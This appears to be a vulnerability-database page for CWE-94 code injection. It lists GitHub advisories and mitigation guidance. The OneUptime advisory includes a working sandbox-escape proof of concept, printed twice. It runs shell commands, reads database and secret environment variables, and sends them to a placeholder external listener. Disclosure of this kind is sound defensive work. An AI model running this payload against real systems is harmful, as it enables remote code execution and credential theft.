Common Weakness Enumeration

CWE-94

Allowed-with-Review

Improper Control of Generation of Code ('Code Injection')

Abstraction: Base · Status: Draft

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

8272 vulnerabilities reference this CWE, most recent first.

GHSA-H2PH-X33P-JMPM

Vulnerability from github – Published: 2024-03-21 06:33 – Updated: 2024-08-06 18:30
VLAI
Details

An issue was discovered in osCommerce v4, allows local attackers to bypass file upload restrictions and execute arbitrary code via administrator profile photo upload feature.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-22724"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-21T04:15:09Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in osCommerce v4, allows local attackers to bypass file upload restrictions and execute arbitrary code via administrator profile photo upload feature.",
  "id": "GHSA-h2ph-x33p-jmpm",
  "modified": "2024-08-06T18:30:49Z",
  "published": "2024-03-21T06:33:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22724"
    },
    {
      "type": "WEB",
      "url": "https://github.com/osCommerce/osCommerce-V4/issues/62"
    },
    {
      "type": "WEB",
      "url": "https://medium.com/%40cupc4k3/oscommerce-v4-rce-unveiling-the-file-upload-bypass-threat-f1ac0097880c"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H2R3-PPVC-PVWH

Vulnerability from github – Published: 2022-05-13 01:14 – Updated: 2022-05-13 01:14
VLAI
Details

Static code injection vulnerability in admin/admin.php in Sphider 1.3.6 allows remote authenticated users to inject arbitrary PHP code into settings/conf.php via the _word_upper_bound parameter.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2014-5194"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2014-08-07T11:13:00Z",
    "severity": "MODERATE"
  },
  "details": "Static code injection vulnerability in admin/admin.php in Sphider 1.3.6 allows remote authenticated users to inject arbitrary PHP code into settings/conf.php via the _word_upper_bound parameter.",
  "id": "GHSA-h2r3-ppvc-pvwh",
  "modified": "2022-05-13T01:14:03Z",
  "published": "2022-05-13T01:14:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-5194"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/159715/Sphider-Search-Engine-1.3.6-Remote-Code-Execution.html"
    },
    {
      "type": "WEB",
      "url": "http://www.exploit-db.com/exploits/34189"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-H343-GG57-2Q67

Vulnerability from github – Published: 2026-03-07 02:30 – Updated: 2026-03-10 18:44
VLAI
Summary
OneUpTime's Unsandboxed Code Execution in Probe Allows Any Project Member to Achieve RCE
Details

Summary

OneUptime allows project members to run custom Playwright/JavaScript code via Synthetic Monitors to test websites. However, the system executes this untrusted user code inside the insecure Node.js vm module. By leveraging a standard prototype-chain escape (this.constructor.constructor), an attacker can bypass the sandbox, gain access to the underlying Node.js process object, and execute arbitrary system commands (RCE) on the oneuptime-probe container. Furthermore, because the probe holds database/cluster credentials in its environment variables, this directly leads to a complete cluster compromise.

Details

The root cause of the vulnerability exists in Common/Server/Utils/VM/VMRunner.ts where user-supplied JavaScript is executed using vm.runInContext():

const vmPromise = vm.runInContext(script, sandbox, { ... });

The Node.js documentation explicitly warns that the vm module is not a security boundary and should never be used to run untrusted code.

When a user creates a Synthetic Monitor, the code inputted into the Playwright script editor is passed directly to this backend function without any AST filtering or secure isolation (e.g., isolated-vm or a dedicated restricted container).

An attacker can use the payload const proc = this.constructor.constructor('return process')(); to step out of the sandbox context and grab the host's native process object. From there, they can require child_process to execute arbitrary shell commands.

Since the oneuptime-probe service runs with access to sensitive environment variables (such as ONEUPTIME_SECRET, DATABASE_PASSWORD, etc.), an attacker can trivially exfiltrate these secrets to an external server.

PoC

This exploit can be triggered entirely through the OneUptime web dashboard GUI by any user with at least "Project Member" permissions.

  1. Log In: Authenticate to the OneUptime Dashboard. (Open registration is enabled by default).
  2. Navigate: Go to Monitors > Create New Monitor.
  3. Monitor Type: Select Synthetic Monitor.
  4. Browser/Screen Settings: Ensure Chromium is selected for "Browser Types" and Desktop is selected for "Screen Size Types".
  5. Payload Injection: Scroll down to the "Playwright Code" editor. Delete the default template and paste the following malicious JavaScript payload:
return new Promise((resolve) => {
    try {
        // 1. Traverse the prototype chain to grab the host's process object
        const proc = this.constructor.constructor('return process')();

        // 2. Load the host's child_process module & run a system command
        const cp = proc.mainModule.require('child_process');
        const output = cp.execSync('ls -la /usr/src/app').toString();

        // 3. (Optional) Read sensitive environment secrets
        const secret = proc.env.ONEUPTIME_SECRET;
        const db_pass = proc.env.DATABASE_PASSWORD;

        // 4. Exfiltrate the data via the native `http` module
        const http_real = proc.mainModule.require('http');
        const req = http_real.request({ 
            hostname: 'YOUR_OAST_OR_BURP_COLLABORATOR_URL_HERE', 
            port: 80, 
            path: '/', 
            method: 'POST' 
        }, (res) => {
            resolve("EXFILTRATION_STATUS: " + res.statusCode);
        });

        req.on('error', (e) => resolve("EXFILTRATION_ERROR: " + e.message));

        const payloadData = JSON.stringify({ rce_output: output, secret: secret, db: db_pass });
        req.write(payloadData);
        req.end();
    } catch(e) {
        resolve("CRITICAL_ERROR: " + e.message);
    }
});
  1. Save & Execute: Click Save. Within 60 seconds, the probe worker will pick up the monitor, execute the code, and send the RCE output to your external listener URL.

OUTPUT:

{"rce_output":"total 296\ndrwxr-xr-x   1 root root   4096 Mar  3 18:27 .\ndrwxr-xr-x   1 root root   4096 Mar  3 18:26 ..\n-rw-r--r--   1 root root     16 Mar  3 18:24 .gitattributes\n-rwxr-xr-x   1 root root    403 Mar  3 18:24 .gitignore\ndrwxr-xr-x   2 root root   4096 Mar  3 18:24 API\n-rw-r--r--   1 root root   4103 Mar  3 18:24 Config.ts\n-rw-r--r--   1 root root   2602 Mar  3 18:24 Dockerfile\n-rw-r--r--   1 root root   2705 Mar  3 18:24 Dockerfile.tpl\n-rw-r--r--   1 root root   2935 Mar  3 18:24 Index.ts\ndrwxr-xr-x   3 root root   4096 Mar  3 18:24 Jobs\ndrwxr-xr-x   2 root root   4096 Mar  3 18:24 Services\ndrwxr-xr-x   4 root root   4096 Mar  3 18:24 Tests\ndrwxr-xr-x   3 root root   4096 Mar  3 18:24 Utils\ndrwxr-xr-x   3 root root   4096 Mar  3 18:27 build\n-rw-r--r--   1 root root    889 Mar  3 18:24 jest.config.json\ndrwxr-xr-x 297 root root  12288 Mar  3 18:26 node_modules\n-rw-r--r--   1 root root    353 Mar  3 18:24 nodemon.json\n-rw-r--r--   1 root root 203119 Mar  3 18:24 package-lock.json\n-rw-r--r--   1 root root   1481 Mar  3 18:24 package.json\n-rw-r--r--   1 root root  11514 Mar  3 18:24 tsconfig.json\n"}

image

Impact

What kind of vulnerability is it? Remote Code Execution (RCE) / Code Injection / Sandbox Escape.

Who is impacted? Any OneUptime deployment running version <= 10.0.0. Since open registration is enabled by default, an external, unauthenticated attacker can create an account, create a project, and instantly compromise the entire cluster.


Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@oneuptime/common"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "10.0.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-30887"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-07T02:30:09Z",
    "nvd_published_at": "2026-03-10T17:40:14Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nOneUptime allows project members to run custom Playwright/JavaScript code via Synthetic Monitors to test websites. However, the system executes this untrusted user code inside the insecure Node.js `vm` module. By leveraging a standard prototype-chain escape (`this.constructor.constructor`), an attacker can bypass the sandbox, gain access to the underlying Node.js `process` object, and execute arbitrary system commands (RCE) on the `oneuptime-probe` container. Furthermore, because the probe holds database/cluster credentials in its environment variables, this directly leads to a complete cluster compromise.\n\n### Details\nThe root cause of the vulnerability exists in [Common/Server/Utils/VM/VMRunner.ts](oneuptime/Common/Server/Utils/VM/VMRunner.ts) where user-supplied JavaScript is executed using `vm.runInContext()`:\n\n```typescript\nconst vmPromise = vm.runInContext(script, sandbox, { ... });\n```\n\nThe Node.js documentation explicitly warns that the `vm` module is not a security boundary and should never be used to run untrusted code. \n\nWhen a user creates a **Synthetic Monitor**, the code inputted into the Playwright script editor is passed directly to this backend function without any AST filtering or secure isolation (e.g., `isolated-vm` or a dedicated restricted container). \n\nAn attacker can use the payload `const proc = this.constructor.constructor(\u0027return process\u0027)();` to step out of the sandbox context and grab the host\u0027s native `process` object. From there, they can require `child_process` to execute arbitrary shell commands. \n\nSince the `oneuptime-probe` service runs with access to sensitive environment variables (such as `ONEUPTIME_SECRET`, `DATABASE_PASSWORD`, etc.), an attacker can trivially exfiltrate these secrets to an external server.\n\n### PoC\nThis exploit can be triggered entirely through the OneUptime web dashboard GUI by any user with at least \"Project Member\" permissions.\n\n1. **Log In**: Authenticate to the OneUptime Dashboard. (Open registration is enabled by default).\n2. **Navigate**: Go to **Monitors** \u003e **Create New Monitor**.\n3. **Monitor Type**: Select **Synthetic Monitor**.\n4. **Browser/Screen Settings**: Ensure **Chromium** is selected for \"Browser Types\" and **Desktop** is selected for \"Screen Size Types\".\n5. **Payload Injection**: Scroll down to the \"Playwright Code\" editor. Delete the default template and paste the following malicious JavaScript payload:\n\n```javascript\nreturn new Promise((resolve) =\u003e {\n    try {\n        // 1. Traverse the prototype chain to grab the host\u0027s process object\n        const proc = this.constructor.constructor(\u0027return process\u0027)();\n        \n        // 2. Load the host\u0027s child_process module \u0026 run a system command\n        const cp = proc.mainModule.require(\u0027child_process\u0027);\n        const output = cp.execSync(\u0027ls -la /usr/src/app\u0027).toString();\n        \n        // 3. (Optional) Read sensitive environment secrets\n        const secret = proc.env.ONEUPTIME_SECRET;\n        const db_pass = proc.env.DATABASE_PASSWORD;\n        \n        // 4. Exfiltrate the data via the native `http` module\n        const http_real = proc.mainModule.require(\u0027http\u0027);\n        const req = http_real.request({ \n            hostname: \u0027YOUR_OAST_OR_BURP_COLLABORATOR_URL_HERE\u0027, \n            port: 80, \n            path: \u0027/\u0027, \n            method: \u0027POST\u0027 \n        }, (res) =\u003e {\n            resolve(\"EXFILTRATION_STATUS: \" + res.statusCode);\n        });\n        \n        req.on(\u0027error\u0027, (e) =\u003e resolve(\"EXFILTRATION_ERROR: \" + e.message));\n        \n        const payloadData = JSON.stringify({ rce_output: output, secret: secret, db: db_pass });\n        req.write(payloadData);\n        req.end();\n    } catch(e) {\n        resolve(\"CRITICAL_ERROR: \" + e.message);\n    }\n});\n```\n\n6. **Save \u0026 Execute**: Click **Save**. Within 60 seconds, the probe worker will pick up the monitor, execute the code, and send the RCE output to your external listener URL.\n\nOUTPUT:\n```\n{\"rce_output\":\"total 296\\ndrwxr-xr-x   1 root root   4096 Mar  3 18:27 .\\ndrwxr-xr-x   1 root root   4096 Mar  3 18:26 ..\\n-rw-r--r--   1 root root     16 Mar  3 18:24 .gitattributes\\n-rwxr-xr-x   1 root root    403 Mar  3 18:24 .gitignore\\ndrwxr-xr-x   2 root root   4096 Mar  3 18:24 API\\n-rw-r--r--   1 root root   4103 Mar  3 18:24 Config.ts\\n-rw-r--r--   1 root root   2602 Mar  3 18:24 Dockerfile\\n-rw-r--r--   1 root root   2705 Mar  3 18:24 Dockerfile.tpl\\n-rw-r--r--   1 root root   2935 Mar  3 18:24 Index.ts\\ndrwxr-xr-x   3 root root   4096 Mar  3 18:24 Jobs\\ndrwxr-xr-x   2 root root   4096 Mar  3 18:24 Services\\ndrwxr-xr-x   4 root root   4096 Mar  3 18:24 Tests\\ndrwxr-xr-x   3 root root   4096 Mar  3 18:24 Utils\\ndrwxr-xr-x   3 root root   4096 Mar  3 18:27 build\\n-rw-r--r--   1 root root    889 Mar  3 18:24 jest.config.json\\ndrwxr-xr-x 297 root root  12288 Mar  3 18:26 node_modules\\n-rw-r--r--   1 root root    353 Mar  3 18:24 nodemon.json\\n-rw-r--r--   1 root root 203119 Mar  3 18:24 package-lock.json\\n-rw-r--r--   1 root root   1481 Mar  3 18:24 package.json\\n-rw-r--r--   1 root root  11514 Mar  3 18:24 tsconfig.json\\n\"}\n\n```\n\u003cimg width=\"1364\" height=\"470\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9e0d3013-bba5-4188-8777-6903c8f55dba\" /\u003e\n\n\n### Impact\n**What kind of vulnerability is it?** \nRemote Code Execution (RCE) / Code Injection / Sandbox Escape.\n\n**Who is impacted?** \nAny OneUptime deployment running version \u003c= 10.0.0. Since open registration is enabled by default, an external, unauthenticated attacker can create an account, create a project, and instantly compromise the entire cluster.\n\n---",
  "id": "GHSA-h343-gg57-2q67",
  "modified": "2026-03-10T18:44:03Z",
  "published": "2026-03-07T02:30:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OneUptime/oneuptime/security/advisories/GHSA-h343-gg57-2q67"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30887"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OneUptime/oneuptime"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OneUpTime\u0027s Unsandboxed Code Execution in Probe Allows Any Project Member to Achieve RCE"
}

GHSA-H345-J35X-7HC5

Vulnerability from github – Published: 2024-04-15 15:30 – Updated: 2024-04-15 15:30
VLAI
Details

Vulnerability in WBSAirback 21.02.04, which involves improper neutralisation of Server-Side Includes (SSI), through Device NAS shared section (/admin/DeviceNAS). Exploitation of this vulnerability could allow a remote user to execute arbitrary code.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-3785"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-15T14:15:08Z",
    "severity": "MODERATE"
  },
  "details": "Vulnerability in WBSAirback 21.02.04, which involves improper neutralisation of Server-Side Includes (SSI), through Device NAS shared section (/admin/DeviceNAS). Exploitation of this vulnerability could allow a remote user to execute arbitrary code.",
  "id": "GHSA-h345-j35x-7hc5",
  "modified": "2024-04-15T15:30:56Z",
  "published": "2024-04-15T15:30:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3785"
    },
    {
      "type": "WEB",
      "url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-wbsairback-white-bear-solutions"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H353-HC43-95VC

Vulnerability from github – Published: 2021-05-18 18:36 – Updated: 2023-09-29 20:11
VLAI
Summary
Script injection without script or programming rights through Gadget titles
Details

Impact

A user without Script or Programming right is able to execute script requiring privileges by editing gadget titles in the dashboard.

Patches

The issue has been patched in XWiki 12.6.7, 12.10.3 and 13.0RC1.

Workarounds

There's no easy workaround for this issue, it is recommended to upgrade XWiki.

References

https://jira.xwiki.org/browse/XWIKI-17794

For more information

If you have any questions or comments about this advisory: * Open an issue in JIRA * Email us at XWiki security mailing-list

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.commons:xwiki-commons-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "12.6.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.commons:xwiki-commons-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "12.10.0"
            },
            {
              "fixed": "12.10.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-32621"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-18T16:46:49Z",
    "nvd_published_at": "2021-05-28T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nA user without Script or Programming right is able to execute script requiring privileges by editing gadget titles in the dashboard.\n\n### Patches\nThe issue has been patched in XWiki 12.6.7, 12.10.3 and 13.0RC1.\n\n### Workarounds\nThere\u0027s no easy workaround for this issue, it is recommended to upgrade XWiki.\n\n### References\nhttps://jira.xwiki.org/browse/XWIKI-17794\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [JIRA](https://jira.xwiki.org)\n* Email us at [XWiki security mailing-list](mailto:security@xwiki.org)\n",
  "id": "GHSA-h353-hc43-95vc",
  "modified": "2023-09-29T20:11:43Z",
  "published": "2021-05-18T18:36:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-h353-hc43-95vc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32621"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/commit/bb7068bd911f91e5511f3cfb03276c7ac81100bc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/xwiki/xwiki-platform"
    },
    {
      "type": "WEB",
      "url": "https://jay-from-future.github.io/cve/2021/06/17/xwiki-rce-cve.html"
    },
    {
      "type": "WEB",
      "url": "https://jira.xwiki.org/browse/XWIKI-17794"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Script injection without script or programming rights through Gadget titles"
}

GHSA-H383-C583-QJPM

Vulnerability from github – Published: 2022-05-01 23:58 – Updated: 2022-05-01 23:58
VLAI
Details

SocialEngine (SE) before 2.83 grants certain write privileges for templates, which allows remote authenticated administrators to execute arbitrary PHP code.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2008-3298"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-07-25T13:41:00Z",
    "severity": "MODERATE"
  },
  "details": "SocialEngine (SE) before 2.83 grants certain write privileges for templates, which allows remote authenticated administrators to execute arbitrary PHP code.",
  "id": "GHSA-h383-c583-qjpm",
  "modified": "2022-05-01T23:58:44Z",
  "published": "2022-05-01T23:58:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-3298"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/43959"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/31203"
    },
    {
      "type": "WEB",
      "url": "http://securityreason.com/securityalert/4035"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/494638/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.socialengine.net/news.php"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-H394-XCHV-JH49

Vulnerability from github – Published: 2025-01-15 18:30 – Updated: 2025-01-16 18:30
VLAI
Details

An issue in D-Link DWR-M972V 1.05SSG allows a remote attacker to execute arbitrary code via SSH using root account without restrictions

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-22968"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-15T16:15:42Z",
    "severity": "CRITICAL"
  },
  "details": "An issue in D-Link DWR-M972V 1.05SSG allows a remote attacker to execute arbitrary code via SSH using root account without restrictions",
  "id": "GHSA-h394-xchv-jh49",
  "modified": "2025-01-16T18:30:59Z",
  "published": "2025-01-15T18:30:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-22968"
    },
    {
      "type": "WEB",
      "url": "https://github.com/CRUNZEX/CVE-2025-22968"
    },
    {
      "type": "WEB",
      "url": "https://github.com/CRUNZEX/CVE-DLINK-LTE"
    },
    {
      "type": "WEB",
      "url": "https://www.dlink.com/en/security-bulletin"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H3C5-F6MH-JRQ6

Vulnerability from github – Published: 2022-05-02 00:05 – Updated: 2022-05-02 00:05
VLAI
Details

orgchart.exe in Microsoft Organization Chart 2.00 allows user-assisted attackers to cause a denial of service (application crash) or possibly execute arbitrary code via a crafted .opx file.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2008-3956"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-09-11T01:13:00Z",
    "severity": "HIGH"
  },
  "details": "orgchart.exe in Microsoft Organization Chart 2.00 allows user-assisted attackers to cause a denial of service (application crash) or possibly execute arbitrary code via a crafted .opx file.",
  "id": "GHSA-h3c5-f6mh-jrq6",
  "modified": "2022-05-02T00:05:26Z",
  "published": "2022-05-02T00:05:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-3956"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/44993"
    },
    {
      "type": "WEB",
      "url": "http://www.nullcode.com.ar/ncs/crash/orgchart.htm"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/31059"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-H3CW-G4MQ-C5X2

Vulnerability from github – Published: 2021-12-09 19:14 – Updated: 2022-04-22 18:19
VLAI
Summary
Code Injection in jackson-databind
Details

This project contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. FasterXML jackson-databind 2.x before 2.9.10.6 mishandles the interaction between serialization gadgets and typing, related to br.com.anteros.dbcp.AnterosDBCPDataSource (aka Anteros-DBCP).

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.9.10.5"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-databind"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.9.10.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-24616"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-04-27T17:38:11Z",
    "nvd_published_at": "2020-08-25T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "This project contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. FasterXML jackson-databind 2.x before 2.9.10.6 mishandles the interaction between serialization gadgets and typing, related to br.com.anteros.dbcp.AnterosDBCPDataSource (aka Anteros-DBCP).",
  "id": "GHSA-h3cw-g4mq-c5x2",
  "modified": "2022-04-22T18:19:50Z",
  "published": "2021-12-09T19:14:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-24616"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/issues/2814"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/commit/3d97153944f7de9c19c1b3637b33d3cf1fbbe4d7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FasterXML/jackson-databind"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2021/04/msg00025.html"
    },
    {
      "type": "WEB",
      "url": "https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20200904-0006"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com//security-alerts/cpujul2021.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuApr2021.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuapr2022.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujan2021.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujan2022.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuoct2021.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Code Injection in jackson-databind"
}

GHSA-H3PQ-GC7R-6M6P

Vulnerability from github – Published: 2022-05-14 02:38 – Updated: 2022-05-14 02:38
VLAI
Details

html/index.php in TorrentFlux 2.3 allows remote authenticated users to execute arbitrary code via a URL with a file containing an executable extension in the url_upload parameter, which is downloaded by TorrentFlux and can be accessed via a direct request in a html/downloads/ user directory.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2008-6584"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2009-04-03T18:30:00Z",
    "severity": "MODERATE"
  },
  "details": "html/index.php in TorrentFlux 2.3 allows remote authenticated users to execute arbitrary code via a URL with a file containing an executable extension in the url_upload parameter, which is downloaded by TorrentFlux and can be accessed via a direct request in a html/downloads/ user directory.",
  "id": "GHSA-h3pq-gc7r-6m6p",
  "modified": "2022-05-14T02:38:27Z",
  "published": "2022-05-14T02:38:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-6584"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/41925"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/44645"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/29935"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/491066/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/28846"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

Mitigation
Architecture and Design

Strategy: Refactoring

Refactor your program so that you do not have to dynamically generate code.

Mitigation
Architecture and Design
  • Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
  • Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Mitigation MIT-32
Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation MIT-32
Operation

Strategy: Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation
Implementation

For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

CAPEC-242: Code Injection

